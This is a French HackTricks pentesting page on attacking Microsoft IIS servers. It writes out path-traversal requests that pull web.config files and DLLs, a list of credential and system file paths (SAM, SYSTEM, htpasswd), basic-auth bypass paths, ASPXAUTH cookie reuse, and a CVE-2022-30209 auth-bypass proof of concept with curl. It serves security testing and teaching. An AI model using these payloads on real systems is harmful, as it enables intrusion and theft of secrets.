22 KiB
IIS - Services d'information Internet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Testez les extensions de fichiers exécutables :
- asp
- aspx
- config
- php
Divulgation de l'adresse IP interne
Sur n'importe quel serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous pointer vers l'adresse IP interne :
nc -v domain.com 80
openssl s_client -connect domain.com:443
Réponse divulguant l'adresse IP interne :
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Exécuter des fichiers .config
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML: Téléchargez un exemple ici
Plus d'informations et de techniques pour exploiter cette vulnérabilité ici
Bruteforce de découverte IIS
Téléchargez la liste que j'ai créée:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Elle a été créée en fusionnant le contenu des listes suivantes:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.
Traversée de chemin
Fuite de code source
{% hint style="info" %}
En résumé, il y a plusieurs fichiers web.config dans les dossiers de l'application avec des références à des fichiers "assemblyIdentity" et des "namespaces". Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger.
À partir des Dlls téléchargées, il est également possible de trouver des nouveaux espaces de noms où vous devriez essayer d'accéder et d'obtenir le fichier web.config afin de trouver de nouveaux espaces de noms et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.
Référence: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% endhint %}
Comme toute application .Net, les applications MVC ont un fichier web.config, où les balises XML "assemblyIdentity" identifient chaque fichier binaire utilisé par l'application.
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
</configSections>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
</appSettings>
<system.web>
<authentication mode="None" />
<compilation debug="true" targetFramework="4.6.1" />
<httpRuntime targetFramework="4.6.1" />
</system.web>
<system.webServer>
<modules>
<remove name="FormsAuthentication" />
</modules>
</system.webServer>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Owin" />
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Optimization" />
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="WebGrease" />
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Helpers" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Mvc" />
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.WebPages" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
</assemblyBinding>
Dans la sortie précédente, vous pouvez trouver des références à plusieurs "assemblyIdentity". Ce sont des fichiers qui peuvent être situés dans le dossier /bin. Par exemple: /bin/WebGrease.dll.
D'autres fichiers qui pourraient être trouvés dans le répertoire racine d'une application .Net sont /global.asax.
<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>
Et /connectionstrings.config
Note: ce fichier contient des mots de passe !
<connectionStrings>
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
</connectionStrings>
Espaces de noms
De plus, les applications .Net MVC sont structurées pour définir d'autres fichiers web.config, ayant pour but d'inclure toute déclaration pour des espaces de noms spécifiques pour chaque ensemble de pages de vue, soulageant les développeurs de déclarer des espaces de noms " @using " dans chaque fichier.
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Optimization"/>
<add namespace="System.Web.Routing" />
<add namespace="WebApplication1" />
Téléchargement de DLLs
D'après une réponse précédente, la déclaration d'un espace de noms personnalisé (puisque les autres espaces de noms sont par défaut) suggère qu'une DLL appelée "WebApplication1" est présente dans le répertoire /bin.
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]
À partir de la sortie précédente, vous pourrez également trouver les DLL dans le répertoire /bin :
- System.Web.Mvc.dll
- System.Web.Mvc.Ajax.dll
- System.Web.Mvc.Html.dll
- System.Web.Optimization.dll
- System.Web.Routing.dll
Supposons que la DLL précédente importe un espace de noms appelé WebApplication1.Areas.Minded. un attaquant peut en déduire que d'autres fichiers web.config sont présents dans l'application, dans des chemins devinables / par défaut tels que /nom-de-zone/Views/, contenant des configurations spécifiques qui peuvent se référer à d'autres fichiers DLL présents dans le dossier /bin.
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Routing" />
<add namespace="System.Web.Optimization" />
<add namespace="WebApplication1" />
<add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>
Notez comment dans la sortie précédente, vous pouvez voir un nouveau namespace appelé: WebApplication1.AdditionalFeatures qui indique qu'il y a une autre Dll dans le dossier /bin appelée WebApplication1.AdditionalFeatures.dll
Fichiers communs
À partir de ici
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
Erreur 404 HTTPAPI 2.0
Si vous voyez une erreur comme celle-ci :
Cela signifie que le serveur n'a pas reçu le nom de domaine correct dans l'en-tête Host.
Pour accéder à la page Web, vous pouvez regarder le certificat SSL fourni et peut-être trouver le nom de domaine/sous-domaine là-dedans. Si ce n'est pas le cas, vous devrez peut-être forcer VHosts jusqu'à ce que vous trouviez le bon.
Anciennes vulnérabilités IIS à rechercher
Vulnérabilité/Fonctionnalité du caractère tilde “~” de Microsoft IIS - Divulgation de noms de fichiers/dossiers courts
Vous pouvez essayer de énumérer les dossiers et fichiers à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est que elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension des fichiers.
Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Vous pouvez également utiliser metasploit : use scanner/http/iis_shortname_scanner
Contournement de l'authentification de base
Contourner une authentification de base (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php
ou /admin::$INDEX_ALLOCATION/admin.php
Vous pouvez essayer de mélanger cette vulnérabilité et la dernière pour trouver de nouveaux dossiers et contourner l'authentification.
Débogage activé Trace.AXD ASP.NET
ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd
.
Il conserve un journal très détaillé de toutes les demandes effectuées sur une application pendant une période de temps.
Ces informations comprennent les adresses IP des clients distants, les identifiants de session, tous les cookies de demande et de réponse, les chemins physiques, les informations de code source et potentiellement même les noms d'utilisateur et les mots de passe.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
Cookie ASPXAUTH
ASPXAUTH utilise les informations suivantes :
validationKey
(chaîne) : clé codée en hexadécimal à utiliser pour la validation de la signature.decryptionMethod
(chaîne) : (par défaut "AES").decryptionIV
(chaîne) : vecteur d'initialisation codé en hexadécimal (par défaut à un vecteur de zéros).decryptionKey
(chaîne) : clé codée en hexadécimal à utiliser pour le déchiffrement.
Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l'e-mail de l'utilisateur. Par conséquent, si vous pouvez trouver un site Web utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l'e-mail de l'utilisateur que vous voulez usurper sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du deuxième serveur dans le premier et usurper l'utilisateur.
Cette attaque a fonctionné dans cette description.
Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209)
Un bogue dans le code n'a pas vérifié correctement le mot de passe donné par l'utilisateur, de sorte qu'un attaquant dont le hachage de mot de passe frappe une clé qui est déjà dans le cache pourra se connecter en tant que cet utilisateur (rapport complet ici).
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.